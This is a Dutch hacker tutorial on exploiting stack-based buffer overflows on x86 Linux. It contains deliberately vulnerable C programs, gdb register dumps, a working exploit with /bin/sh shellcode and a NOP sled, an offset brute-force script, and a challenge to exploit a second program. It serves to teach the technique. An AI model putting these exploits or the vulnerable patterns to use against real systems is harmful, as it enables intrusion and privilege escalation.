exploitatie van Stack Based buffer overflows - Door The Itch / BsE -------------------------------------- De laatste tijd kom je steeds vaker en vaker artikelen tegen over stack based overflows, en ik besloot om me er ook eens in te verdiepen, nadat ik eerst grondig C ben gaan leren. Wat ik behandel in dit artikel zijn stack based overflows op x86 architecturen. Uiteraard, een redelijke kennis van C is toch wel vereist, en een minimum kennis van assembly is ook nodig. ik heb zelf exploitatie van stack based buffer overflows geleerd via de artikelen van aleph1 en mixter, en verder leerde ik veel van WildCoyote en _Phantom_, dus thnx gaan uit naar hun, maar ze verstaan dit toch niet want ze zijn portugees ;). Wat ik wil zeggen is dat, sommige dingen die ik hier uitleg zullen hetzelfde eruit zien als die in het artikel van aleph1 of mixter. Het beste om te beginnen is, denk ik, met gewoon wat simpele voorbeelden in C. benodigheden: intel/x86 linux machine (gewone pc dus) root op diezelfde machine (of zorg in ieder geval dat core dumping aan is) (dat doe je door: ulimit -c unlimited te typen) pico (duh een texteditor) gcc (een compiler) gdb (een debugger) <-------vuln1.c--------------------------- /* voorbeeld vulnerable programma. * De vulnerability zit hem uiteraard in het gebruik van strcpy() * * Coded by The Itch / BsE * root@bse.die.ms * http://bse.die.ms */ #include #include #include int main(int argc, char *argv[]) { char buffer[30]; if(argc < 2) { printf("strcpy() NIET uitgevoerd....\n"); printf("Syntax: %s \n", argv[0]); exit(0); } strcpy(buffer, argv[1]); printf("buffer = %s\n", buffer); printf("strcpy() wel uitgevoerd...\n"); return 0; } /* Remember, there is no cure for BsE */ <-------vuln1.c--------------------------- het commando strcpy() doet niet aan bounds checking, dat houdt in dat het niet checked of argv[1] wel past in buffer en gewoon erin blijft kopieren totdat er een NULL string ('\0') gevonden wordt. laten we het een programma eens runnen: [root@daveli whiz]# gcc vuln1.c -o vuln1 [root@daveli whiz]# ./vuln1 1234567890 buffer = 1234567890 strcpy() uitgevoerd... [root@daveli whiz]# niks aan de hand nog, omdat 1234567890 makkelijk in een buffer van 30 bytes past (1234567890 = maar 10 bytes). de buffer werkt zo: [#####################] [ebp] [eip] [#####################] = de buffer(grootte) [ebp] = de stack frame pointer [eip] = de instruction pointer (het return address) De stackpointer, oftewel de ESP verwijst naar de de bovenkant van de stack (die dynamisch is) de onderkant van de stack staat altijd op een vast adres. De stack groeit neerwaarts. Verderop in dit artikel zul je zien waarom de stack pointer intressant voor ons is. De stack frame pointer. het register EBP wordt gebruikt op intel CPU's voor het opslaan van de stack frame pointer. Het eerste wat een procedure moet doen wanneer het aangeroepen wordt is de stack frame pointer opslaan. Daarna kopieert het de stack pointer in de frame pointer, en maakt daarmee de nieuwe frame pointer. (in de frame pointer wordt de lokatie van de offsets opgeslagen van de lokale variabelen van die bepaalde functie). De instruction pointer, het return address, oftewel het EIP register. Zodra de functie strcpy() wordt aangeroepen zal die call de instruction pointer opslaan op de stack. De opgeslagen EIP wordt het return address van de strcpy() call. De instruction pointer verwijst naar de volgende intstructie die de processor moet uitvoeren. (als we die dus kunnen overschrijven, kunnen we onze eigen code uitvoeren). [note] geheugen wordt aangesproken in veelvouden van 4. In ons voorbeeldprogramma defineren we char buffer[30]; (30 bytes) maar omdat het geheugen dus in veelvouden van 4 werkt, is dat eigelijk 32 bytes. Maar we gaan verder met ons programma, we hebben aan de buffer 30 bytes gedefineerd, dus laten we het eens testen: [root@daveli whiz]# ./vuln1 123456789012345678901234567890 buffer = 123456789012345678901234567890 strcpy() uitgevoerd... [root@daveli whiz]# Werkt perfect (maar het geheugen werkt met veelvouden van 4, dus eigelijk zijn er 32 bytes gereserveerd voor char buffer). Dus we testen het nog eens. [root@daveli whiz]# ./vuln1 12345678901234567890123456789012 buffer = 12345678901234567890123456789012 strcpy() uitgevoerd... [root@daveli whiz]# Kijk kijk, dat kan ook nog. [root@daveli whiz]# ./vuln1 12345678901234567890123456789012AAAA buffer = 12345678901234567890123456789012AAAA strcpy() uitgevoerd... Segmentation fault (core dumped) [root@daveli whiz]# Ok dat ging dus niet meer. Ik gebruik A omdat dat in hexadecimaal 0x41 is. (dat zie je duidelijker als je je programma debugged). En ik gebruikte 4 A's omdat het geheugen per 4 bytes werkt. laten we eens kijken wat er gebeurd is. Volgens de theorie hierboven is nu alleen register EBP overschreven, en nog niet het register EIP (het return address, wat we willen overschrijven). [root@daveli whiz]# gdb ./vuln1 core GNU gdb 19991116 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-mandrake-linux"... Core was generated by `./vuln1 12345678901234567890123456789012AAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0x40031902 in __libc_start_main (main=Cannot access memory at address 0x41414149 ) at ../sysdeps/generic/libc-start.c:55 55 .. sysdeps/generic/libc-start.c: No such file or directory. (gdb) info registers eax 0x0 0 ecx 0x40014000 1073823744 edx 0x0 0 ebx 0x400fa120 1074766112 esp 0xbffff9f4 0xbffff9f4 ebp 0x41414141 0x41414141 esi 0x40012eb0 1073819312 edi 0x400ea533 1074701619 eip 0x40031902 0x40031902 eflags 0x10246 66118 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x0 0 fs 0x2b 43 gs 0x2b 43 fctrl 0x0 0 fstat 0x0 0 ftag 0x0 0 fiseg 0x0 0 fioff 0x0 0 ---Type to continue, or q to quit--- foseg 0x0 0 fooff 0x0 0 fop 0x0 0 (gdb) aha, zoals je ziet klopt het dat het register EBP is overschreven met 0x41 (de hexadecimale representatie van de letter A). Goed, maar we willen eigelijk ook EIP overschrijven, zodat we eigelijk overal naartoe kunnen springen. Laten we nog eens ons vulnerable programma starten, maar dan nog eens met 4 A's extra. [root@daveli whiz]# ./vuln1 12345678901234567890123456789012AAAAAAAA buffer = 12345678901234567890123456789012AAAAAAAA strcpy() uitgevoerd... Segmentation fault (core dumped) Nu starten we weer gdb op. [root@daveli whiz]# gdb ./vuln1 core GNU gdb 19991116 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-mandrake-linux"... Core was generated by `./vuln1 12345678901234567890123456789012AAAAAAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0x41414141 in ?? () (gdb) info registers eax 0x0 0 ecx 0x40014000 1073823744 edx 0x0 0 ebx 0x400fa120 1074766112 esp 0xbffff884 0xbffff884 ebp 0x41414141 0x41414141 esi 0x40012eb0 1073819312 edi 0x400ea533 1074701619 eip 0x41414141 0x41414141 eflags 0x10246 66118 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x2b 43 gs 0x2b 43 fctrl 0x0 0 fstat 0x0 0 ftag 0x0 0 fiseg 0x0 0 fioff 0x0 0 ---Type to continue, or q to quit--- foseg 0x0 0 fooff 0x0 0 fop 0x0 0 (gdb) En kijk, tsjakka, EIP is ook overschreven met 4 A's (0x41414141) Dat betekent dat we naar elk willekeurige positie in het geheugen kunnen springen (mits het in ons proces gebied is, anders krijg je een segmentation fault). Nu wordt het tijd om een exploit te gaan schrijven! (om het ietsje makkelijker te maken, vergroot ik de buffer van ons vulnerable programma van 30 bytes naar 128 bytes. Doe dit ook anders zal het volgende niet werken! Dit omdat de shellcode ongeveer 30 a 40 bytes is. (anders wordt het weer zo'n geklooi om je shellcode erin te passen. Dat leg ik misschien wel een volgende keer uit)). (de volgende exploit code is van het artikel van Aleph1, maar dit werkt gewoon op een goede en vaak toepasbare manier, commentaar bij bijna elke regel is van mezelf.) <---------expl1.c------------------------------------ /* Exploit voor vuln1.c aan de hand van mijn artikel * over buffer overflows. * * The Itch / BsE * root@bse.die.ms * http://bse.die.ms */ #include #include /* hier wordt gedefinineerd hoeveel bytes we van het esp af moeten * zitten */ #define DEFAULT_OFFSET 0 /* hier wordt gedefinineerd hoe groot onze buffer moet worden (het beste * is om 100 bytes meer te nemen dan de buffer die je probeert te * overflowen. Omdat in deze buffer onze shellcode, nops en return * adress in komt te staan. */ #define DEFAULT_BUFFER_SIZE 228 /* NOP is No OPeration, als deze code wordt uitgevoerd gebeurt er simpel * weg niks en loopt het programma gewoon door, later zal je zien waarom * dit nuttig is. */ #define NOP 0x90 /* in deze functie wordt de huidige ESP bepaald */ unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } /* dit zijn assembler instructies om een shell te starten, het is de * bedoeling dat we dit in het geheugen zetten, het return address * overschrijven met het adres van onze shellcode, zodat onze shellcode * vanaf de stack wordt uitgevoerd. Het enige wat deze shellcode doet is * /bin/sh uitvoeren zodat je in een interactieve shell komt. * (de onderstaande asm instructies zijn gewoon een execve() call) */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]) { /* onze exploit buffer definineren */ char *buff; /* onze pointer definineren */ char *ptr; /* onze adress pointer, waarin we ons return * adress in gaan zetten */ long *addr_ptr; long addr; /* ons return address */ /* hoeveel bytes verschil van ESP is ons return adress? */ int offset = DEFAULT_OFFSET; /* onze buffergrootte */ int bsize = DEFAULT_BUFFER_SIZE; /* de integer die we gebruiken voor onze for loops */ int i; /* onze start argumenten van het programma kunnen zijn: * ./expl1 buffersize offset * als ons programma gestart is met ./expl1 buffersize * gebruik dan die buffersize ipv die van * #define DEFAULT_BUFFER_SIZE */ if(argc > 1) { bsize = atoi(argv[1]); } /* idem als hierboven, maar dan met de offset */ if(argc > 2) { offset = atoi(argv[2]); } /* check of er genoeg beschikbaar geheugen is voor onze buffer */ if(!(buff = malloc(bsize))) { printf("Unable to allocate memory.\n"); exit(0); } /* het return address van onze shellcode, berekent aan de hand van * de stack pointer min onze offset (omdat de stack neerwaarts * groeit, moet het min offset zijn). In heel veel gevallen is de * huidige stackpointer meteen ook het return address, of ligt het * maar enkele bytes af van de stack pointer. */ addr = get_sp() - offset; printf("exploit voor vuln1 volgens het whizkunde artikel\n\n"); printf("Coded by The Itch / BsE\n"); printf("Using return address: 0x%x\n", addr); printf("stack pointer: 0x%x\n", get_sp()); printf("Using buffersize: %d\n", bsize); ptr = buff; addr_ptr = (long *) ptr; /* hier vullen we onze buffer met het return address van onze buffer */ for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = addr; } /* daarna vullen we de eerste helft van onze buffer met NOPS * (wordt later uitgelegd waarom) */ for(i = 0; i < bsize / 2; i++) { buff[i] = NOP; } /* zet ptr(de pointer) op het 2e gedeelte van onze buffer, en * reserveer de lengte van onze shellcode en zet die * voor de helft in de eerste helft van de buffer. */ ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); /* zet onze shellcode in de eerste helft van onze buffer */ for(i = 0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; } /* afsluitende null string voor strcpy() (zodat die stopt met * dingen van argv[1] te kopieren in buffer[] ;) */ buff[bsize - 1] = '\0'; /* zet voor buff[] het woord EGG= */ memcpy(buff, "EGG=", 4); /* en plaats daarna buff in de enviroment */ putenv(buff); /* voer ons vulnerable programma uit */ system("./vuln1 $EGG"); return 0; } /* Remember, there is no cure for BsE */ <-------expl1.c------------------------------------ Wat we nu precies gedaan hebben is het volgende: N = NOP S = Shellcode R = return address De buffer die we willen overflowen is 128 bytes groot (de volgende uitleg is niet op schaal, omdat het anders te groot zou worden ;). De shellcode is ongeveer tussen de 30 a 40 bytes (tel zelf maar uit :p) dus laten we voor het gemak 35 bytes nemen. Dus ons aantal nops is eigelijk: (228/2) - (35/2) = 96 NOPS. Daarna komen er 35 / 2 bytes erbij voor onze shellcode (dus 96 + (35/2)). En daarna wordt de rest van onze 228 bytes buffer opgevuld door het return address, dus eigenlijk zouden we net zo goed 128 + 8 bytes als onze buffer in onze exploit defineren. (houd er dan wel rekening mee dat het dan niet 96 NOPs zijn, maar ((128+8)/2) - (35/2) aantal NOP's zouden zijn. Alleen heb je dan minder kans om de juiste offset van ons return address te vinden. Daarom nemen we zo'n groot aantal NOPs, des te sneller en meer kans hebben we dan om meteen een bruikbaar return address te vinden. Maar let erop dat je ook niet TEVEEL NOP's neemt, want anders overschrijf je EIP of met NOP's of je shellcode overschrijft het EIP en dan loopt het ook niet goed ;)). de originele buffer loopt zo: [##########################################################] [EBP] [EIP] Als wij onze exploit uitvoeren, zal het er zo gaan uitzien: [NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSSSSSSSSSRRRRRRRRRRRRRRRRRR] [RRR] [RRR] Zoals je ziet is EBP en EIP overschreven met het return address van onze shellcode en onze NOP's. Ons return address verwijst hopelijk of aan het het begin of ergens in de NOP's. Dit is ook de reden dat ik NOP's gebruik in mijn exploit, want als ik geen NOP's zou gebruiken zou het er zo uitzien: Originele buffer: [##########################################################] [EBP] [EIP] Buffer na de exploit: [RRRRRRRRRRRRRRRRRRRRRRRRSSSSSSSSSSSSSSSSSSSSSRRRRRRRRRRRRR] [RRR] [RRR] Het return address zou dan verwijzen ergens in het gebied voor onze shellcode en dan zou het proberen die code uit te voeren, maar die code is niet bedoeld voor uitvoer (want het is een pointer) dus je zou een segmentation violation krijgen. Ook een reden dat ik NOPs gebruik is, dat als het return address zou verwijzen naar ook maar 1 byte te ver of te weinig in de shellcode, dat de shellcode al niet meer zou werken en je waarschijnlijk een segmentation violation of dat er gewoon niets gebeurd. Nouja, laten we maar eens beginnen met testen. Je kan, om de irritante piepjes te negeren, bij vuln1.c het gedeelte van printf("buffer = %s\n", buffer); weghalen en opnieuw compilen. (Dit is uiteraard niet nodig, maar als je offsets gaat bruteforcen dan is dit dus wel heel handig). [root@daveli whiz]# gcc vuln1.c -o vuln1 [root@daveli whiz]# gcc expl1.c -o expl1 [root@daveli whiz]# ./expl1 exploit voor vuln1 volgens het whizkunde artikel Coded by The Itch / BsE Using return address: 0xbffff9f4 stack pointer: 0xbffff9f4 Using buffersize: 228 strcpy() uitgevoerd... [root@daveli whiz]# hmm, das pech, zoals je ziet was de stack pointer niet het exacte return address wat we willen hebben, dus dat wordt waarschijnlijk bruteforcen. Maar laten we eerst nog wat combinaties proberen. (probeer ALTIJD postieve EN negatieve offsets!!) [root@daveli whiz]# ./expl1 228 10 exploit voor vuln1 volgens het whizkunde artikel Coded by The Itch / BsE Using return address: 0xbffff9f2 stack pointer: 0xbffff9f4 Using buffersize: 228 strcpy() uitgevoerd... [root@daveli whiz]# hmm helaas, weer niets .... [root@daveli whiz]# ./expl1 228 20 exploit voor vuln1 volgens het whizkunde artikel Coded by The Itch / BsE Using return address: 0xbffff9e8 stack pointer: 0xbffff9f4 Using buffersize: 228 strcpy() uitgevoerd... [root@daveli whiz]# en weer niets ... laten we eens een negatief offset proberen ... [root@daveli whiz]# ./expl1 228 -5 exploit voor vuln1 volgens het whizkunde artikel Coded by The Itch / BsE Using return address: 0xbffffa01 stack pointer: 0xbffff9f4 Using buffersize: 228 strcpy() uitgevoerd... sh-2.03# BAMM jackpot!! gelijk raak, ons return address lag dus 5 bytes meer van de stackpointer(ESP) af. (ik zeg 5 bytes MEER en niet minder (offset = -5) omdat de stack neerwaarts groeit). Helaas is niet op elke pc dit hetzelfde, dus het kan best zijn dat in jouw geval deze offset van -5 bytes niet werkt (bij mij ligt dus het return address voor mijn shellcode zo rond de locatie: 0xbffffa00). Soms is de offset van je return address wel eens 1000 of meer bytes, en in dat soort gevallen is het ook nodig om je offset te bruteforcen, dat gaat op de volgende manier. <------offsetbruteforce.sh---------------- #!/bin/sh OFFSET=1 while test $OFFSET -lt 10000 do ./expl1 228 $OFFSET OFFSET=`expr $OFFSET + 1` done <-----offsetbruteforce.sh---------------- Als je dus niet een sh-2.03# shell kreeg zoals ik, dan wordt het maar eens tijd om te gaan bruteforcen =). Run dan gewoon ./offsetbruteforce.sh en heb heel even geduld. Als je na een tijdje nog steeds geen shell krijgt, edit dan expl1.c (je exploit) en verander: addr = getsp() - offset; naar: addr = getsp() + offset; en compile je exploit opnieuw en run wederom weer offsetbruteforce.sh Als je andermans programma's wilt gaan exploiten, moet je dus kijken of er functies worden gebruikt die niet aan bounds checking doen zoals strcpy(), maar strcat(), sprintf(), vsprintf(), gets() doen ook allemaal niet aan bounds checking. In mijn volgende artikel zal ik uitleggen hoe we buffers die te klein zijn voor shellcode toch shellcode kunnen laten executen, en zal ik proberen uit te leggen hoe je precies shellcode maakt. Maar voor nu is het genoeg geweest, hier ben je wel even zoet mee. En, als je denkt dat je nu weet hoe stack based buffer overflows werken, dan daag ik je uit om dit programma successvol te exploiten. ps: voor nog andere soorten shellcode, zie: http://bse.die.ms/~itchie/stuff/exploits/shellcode.h <---------------vuln2.c----------------------- /* vuln2.c voor het whizkunde artikel over buffer overflows. * exploit deze maar zelf succesvol :-) * * Coded by The Itch / BsE * root@bse.die.ms * http://bse.die.ms */ #include #include #include int main(int argc, char *argv[]) { char buffer[512]; char *buf2; if(argc < 2) { printf("syntax: %s \n\n", argv[0]); exit(0); } if(getenv("TEST") == 0) { printf("error, no enviromental string found!\n"); printf("Aborting program...\n\n"); exit(0); } buf2 = getenv("TEST"); strcpy(buffer, buf2); printf("Using enviromental string: %s\n", buf2); return 0; } /* Remember, there is no cure for BsE */ <------------vuln2.c------------------ greetings, The_Itch root@bse.die.ms http://bse.die.ms irc.axenet.org - #whizkunde